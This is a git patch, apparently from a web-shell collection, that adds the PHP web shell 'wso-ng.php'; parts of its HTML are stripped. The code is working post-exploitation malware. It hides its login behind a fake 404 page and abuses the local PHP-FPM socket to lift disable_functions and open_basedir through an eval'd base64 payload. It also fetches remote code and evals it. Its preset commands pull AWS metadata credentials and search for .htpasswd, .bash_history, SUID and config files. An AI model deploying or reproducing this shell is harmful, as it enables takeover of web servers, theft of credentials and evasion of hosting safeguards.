From 1c8c51e99e48e49d02ba02f2f4c5c6cba8dca655 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:54:57 +0800 Subject: [PATCH] Create wso-ng.php MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit from: https://github.com/aels/wso-ng/blob/main/wso-ng.php author: @aels 👍 --- php/wso-ng/wso-ng.php | 1671 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1671 insertions(+) create mode 100644 php/wso-ng/wso-ng.php diff --git a/php/wso-ng/wso-ng.php b/php/wso-ng/wso-ng.php new file mode 100644 index 0000000..7fae577 --- /dev/null +++ b/php/wso-ng/wso-ng.php @@ -0,0 +1,1671 @@ + 60 * 60 * 24 * 1)) { + if( function_exists('curl_init') ) { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + curl_setopt($ch, CURLOPT_HEADER, FALSE); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible;)"); + $body = curl_exec($ch); + curl_close($ch); + } + else { + $body = @file_get_contents($url); + } + file_put_contents($file_path, gzdeflate($body)); + return $body; + } else { + $body = @file_get_contents($file_path); + return gzinflate($body) ? gzinflate($body) : $body; + } + } + function wsoLogin() { + $rand = rand(1e3, 1e4); + $auth_form = "
| Uname: Server IP: User: Php: Hardware: | ' . '+ ' . $_SERVER["SERVER_ADDR"] . ' (' . $ip_data . '), ' . $domains_count . ' domains. [ securitytrails ] [ virustotal (' . $vt_detections . '/56) ] [ publicwww ] + ' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )' . ($open_base_dir || $chains_bypassed === true ? ', Open base dir: ' . $open_base_dir . ' (' . ($chains_bypassed === true ? 'bypassed' : $chains_bypassed) . ')' : '') . ' + ' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode'] ? 'ON' : 'OFF') . ' [ phpinfo ] + disk: total ' . wsoViewSize($totalSpace) . ', free ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%), ram total: ' . $ram_size . ', free: ' . $ram_free . ', cores: ' . (file_exists('/proc/cpuinfo') ? substr_count('' . @file_get_contents('/proc/cpuinfo'), "processor") : '--') . ', loadavg: ' . substr(end(@sys_getloadavg()), 0, 4) . ' | ' . '
"; + $body = str_replace('/notexist' . $rand, $_SERVER['SCRIPT_NAME'], wsoGetFile('http://' . $_SERVER['HTTP_HOST'] . '/notexist' . $rand)); + $body = stripos($body, '')?str_replace('', $auth_form, $body):$body.$auth_form; + + header('HTTP/1.0 404 Not Found'); + die(!empty($body)?$body:$auth_form); + } + function WSOsetcookie($k, $v) { + $_COOKIE[$k] = $v; + setcookie($k, $v); + } + function wsoBreadCrumps() { + $cwd_links = ''; + $file_path = explode("/", $GLOBALS['cwd']); + $n = count($file_path); + for ($i = 0;$i < $n - 1;$i++) { + $cwd_file_path = ''; + for ($j = 0;$j <= $i;$j++) { + $cwd_file_path.= $file_path[$j] . '/'; + } + $cwd_links.= "" . $file_path[$i] . "/"; + } + $buttons = is_writable($GLOBALS['cwd']) ? ' + [ new dir ] + [ new file ] + + ' : ''; + $filename = preg_match('/FilesTools/', @$_POST['a']) && @$_POST['p1'] ? htmlspecialchars(@basename($_POST['p1'])) : ''; + $filename = $filename ? "" . $filename . "" : ''; + $console = " "; + echo '
'; + } + // todo: https://antichat.com/threads/470018/ + function wsoUnChain($canary) { + + // https://antichat.com/threads/473143/#post-4353235 + function sendRequest($host, $port, $packet, $test_file) { + $body = ''; + $headers = ''; + $errno = ''; + $errstr = ''; + $timeout = 1; + if ($port > 0) $host = "tcp://${host}:${port}/"; + else $host = "unix://${host}"; + $connection = stream_socket_client($host, $errno, $errstr, $timeout); + if ($connection) { + stream_set_timeout($connection, 1); + fputs($connection, $packet); + while (!feof($connection)) { + $line = fgets($connection, 4096); + if ($line == "\r\n") break; + $headers.= $line; + } + while (!feof($connection)) $body.= fgets($connection, 4096); + fclose($connection); + if (preg_match('/Primary script unknown|Status: 404 Not Found/si', $headers)) { + return ""; + } else { + return ""; + } + } else { + return "Test failed: no connection:`("; + } + } + function initializeParams($id, $params = array()) { + $type = 4; + $data = ""; + foreach ($params as $key => $value) { + $data.= pack("CN", strlen($key), (1 << 31) | strlen($value)); + $data.= $key; + $data.= $value; + } + return to_s($id, $type, $data); + } + function to_s($id, $type, $data = "") { + $packet = sprintf("\x01%c%c%c%c%c%c\x00", $type, $id / 256, $id % 256, strlen($data) / 256, strlen($data) % 256, strlen($data) % 8); + $packet.= $data; + $packet.= str_repeat("\x00", (strlen($data) % 8)); + return $packet; + } + function buildPacket($payload, $scriptFile) { + $payload = base64_encode($payload); + $packet = ""; + $packet.= to_s(1, 1, "\x00\x01\x00\x00\x00\x00\x00\x00"); + $packet.= initializeParams(1, array("REQUEST_METHOD" => "GET", "SERVER_PROTOCOL" => "HTTP/1.1", "GATEWAY_INTERFACE" => "CGI/1.1", "SERVER_NAME" => "localhost", "HTTP_HOST" => "localhost", "REMOTE_ADDR" => "127.0.0.1", "SCRIPT_FILENAME" => $scriptFile, "PHP_ADMIN_VALUE" => join("\n", ["allow_url_fopen=On", "allow_url_include=On", "disable_functions=Off", "open_basedir=Off", "short_open_tag=On", "auto_prepend_file=data:," . urlencode("=eval(base64_decode('${payload}'));?>") ]))); + $packet.= to_s(1, 4); + $packet.= to_s(1, 5); + return $packet; + } + function findSocket() { + $connection = @fsockopen('127.0.0.1', 9000, $errno, $errstr, 3); + if (is_resource($connection)) { + fclose($connection); + $fpm_socket = '127.0.0.1'; + $port = 9000; + } else { + $it = @glob("/tmp/php*.sock"); + foreach ($it as $f) $fpm_socket = $f; + try { + $it = @glob("/var/run/php*.sock"); + foreach ($it as $f) $fpm_socket = $f; + $it = @glob("/var/run/php-fpm/*.sock"); + foreach ($it as $f) $fpm_socket = $f; + } + catch(Exception $e) { + } + $port = 0; + } + if (!isset($fpm_socket)) { + return false; + } else { + return array($fpm_socket, $port); + } + } + while ( !isset($test_file) ) { + $it = @glob(dirname(__FILE__)."/*.php"); + foreach ($it as $f) $test_file = $f; + } + $fpm_socket = findSocket(); + if (!$fpm_socket) { + return 'fail to locate socket ;('; + } + $result = sendRequest($fpm_socket[0], $fpm_socket[1], buildPacket($canary, $test_file), $test_file); + if (preg_match('/success/i', $result)) { + return $result; + } else { + return $result; + } + } + + if (!empty($auth_pass)) { + if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin(); + } + + $os = (strtolower(substr(PHP_OS, 0, 3)) == "win")?'win':'nix'; + $safe_mode = @ini_get('safe_mode'); + if (!$safe_mode) error_reporting(0); + $disable_functions = @ini_get('disable_functions'); + $open_base_dir = @ini_get('open_basedir'); + if ( $disable_functions || $open_base_dir ) { + $chains_bypassed = wsoUnChain('$chains_bypassed=true;'); + } + if( $disable_functions ) { + // define wsoExGently(); + eval(wsoGetFile($wsoExGentlyUrl)); + } + + $home_cwd = @getcwd(); + if (isset($_POST['c'])) @chdir($_POST['c']); + $cwd = @getcwd(); + + if ($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); + } + if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/'; + + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; + + if ($os == 'win') $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all"); + else $aliases = array("Fetch AWS metadata" => "curl -Ss http://169.254.169.254/latest/meta-data/identity-credentials/", "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv"); + + function wsoHeader() { + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + global $vt_key; + global $open_base_dir; + global $chains_bypassed; + echo "
+ + + + +
+ + +